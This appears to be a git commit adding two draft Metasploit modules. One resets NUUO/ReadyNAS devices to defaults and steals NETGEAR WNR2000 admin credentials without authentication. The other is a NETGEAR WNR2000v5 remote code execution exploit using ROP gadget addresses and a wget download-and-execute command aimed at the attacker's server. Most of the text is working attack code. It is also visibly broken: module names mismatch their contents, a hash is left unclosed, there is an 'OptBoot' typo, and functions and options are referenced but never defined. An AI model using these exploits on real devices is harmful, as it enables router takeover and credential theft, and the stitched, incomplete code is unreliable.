add sploits

bug/bundler_fix
Pedro Ribeiro 2016-12-27 21:12:35 +00:00
parent 3a9c6626dc
commit 870e8046b5
2 changed files with 302 additions and 0 deletions

View File

@ -0,0 +1,130 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset',
'Description' => %q{
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72']
],
'DisclosureDate' => 'Dec 20 2016',
register_options(
[
Opt::RPORT(80)
], self.class)
end
def get_password (q1, q2)
res = send_request_cgi({
'uri' => '/BRS_netgear_success.html',
'method' => 'GET'
})
if res && res.body =~ /var sn="([\w]*)";/
serial = $1
else
puts "[-]Failed to obtain serial number, bailing out..."
exit(1)
end
# 1: send serial number
res = send_request_cgi({
'uri' => '/apply_noauth.cgi?/unauth.cgi',
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'vars_post' =>
{
'submit_flag' => 'match_sn',
'serial_num' => serial,
'continue' => '+Continue+'
})
# 2: send answer to secret questions
res = send_request_cgi({
'uri' => '/apply_noauth.cgi?/securityquestions.cgi',
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'vars_post' =>
{
'submit_flag' => 'security_question',
'answer1' => q1,
'answer2' => q2,
'continue' => '+Continue+'
})
# 3: PROFIT!!!
res = send_request_cgi({
'uri' => '/passwordrecovered.cgi',
'method' => 'GET'
})
if res && res.body =~ /Admin Password: (.*)<\/TD>/
password = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password")
end
if res && res.body =~ /Admin Username: (.*)<\/TD>/
username = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain username")
end
print_good("#{peer} - Success! Got admin username #{username} and password #{password}")
return [username, password]
end
def run
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
'vars_get' => { 'cmd' => "loaddefconfig" }
})
if res && res.code == 401
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),
'vars_post' => {
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'submit' => "Login"
}
})
if res && (res.code == 200 || res.code == 302)
cookie = res.get_cookies
else
fail_with(Failure::Unknown, "#{peer} - A valid username / password is needed to reset the device.")
end
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
'cookie' => cookie,
'vars_get' => { 'cmd' => "loaddefconfig" }
})
end
if res && res.code == 200 && res.body.to_s =~ /load default configuration ok/
print_good("#{peer} - Device has been reset to the default configuration.")
else
print_error("#{peer} - Failed to reset device.")
end
end
end

View File

@ -0,0 +1,172 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'time'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'NETGEAR WNR2000v5 Unauthenticated / Authenticated Remote Code Execution',
'Description' => %q{
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'References' =>
[
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72']
],
'Targets' =>
[
[ 'NETGEAR WNR2000v5',
{
'LibcBase' => 0x2ab24000, # should be the same offset for all firmware versions
'System' => 0x547D0,
'Gadget' => 0x2462C,
#The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()):
#LOAD:0002462C addiu $a0, $sp, 0x40+arg_0
#LOAD:00024630 move $t9, $s0
#LOAD:00024634 jalr $t9
'Arch' => ARCH_MIPSBE,
'Payload' =>
{
'BadChars' => "\x00\x25\x26"
},
}
],
],
'DisclosureDate' => 'Dec 20 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptBoot.new('REBOOT', [true, 'Reboot the router? (the exploit is more reliable with a reboot)', true]),
OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']),
OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']),
OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']),
], self.class)
end
def check
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res.headers['WWW-Authenticate']
auth = res.headers['WWW-Authenticate']
if auth =~ /WNR2000v5/
return Exploit::CheckCode::Detected
elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
return Exploit::CheckCode::Unknown
end
end
Exploit::CheckCode::Safe
end
def uri_encode (str)
"%" + str.scan(/.{2}|.+/).join("%")
end
def calc_address (libc_base, offset)
addr = (libc_base + offset).to_s(16)
uri_encode(addr)
end
def get_current_time
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res['Date']
date = res['Date']
Time.parse(date).strftime('%s').to_i
end
end
def get_auth_timestamp(mode)
res = send_request_cgi({
'uri' => '/lang_check.html',
'method' => 'GET'
})
if res && res.code == 401
# try again, might fail the first time
res = send_request_cgi({
'uri' => '/lang_check.html',
'method' => 'GET'
})
if res && res.code == 200
if res.body =~ /timestamp=([0-9]{8})/
$1.to_i
end
end
end
end
def exploit
print_status("#{peer} - Attempting to exploit #{target.name}")
if target == targets[0]
send_payload(prepare_shellcode_mips)
else
downfile = rand_text_alpha(8+rand(8))
@pl = generate_payload_exe
@elf_sent = false
resource_uri = '/' + downfile
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{peer} - Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
print_status("#{peer} - Asking the device to download and execute #{service_url}")
filename = rand_text_alpha_lower(rand(8) + 2)
cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"
shellcode = prepare_shellcode_arm(cmd)
print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.")
counter = 0.00
while (not @elf_sent)
if counter % 50.00 == 0 && counter != 0.00
print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
end
send_payload(shellcode)
sleep datastore['SLEEP'].to_f # we need to be in the LAN, so a low value (< 1s) is fine
counter += 1
end
print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
end
end
end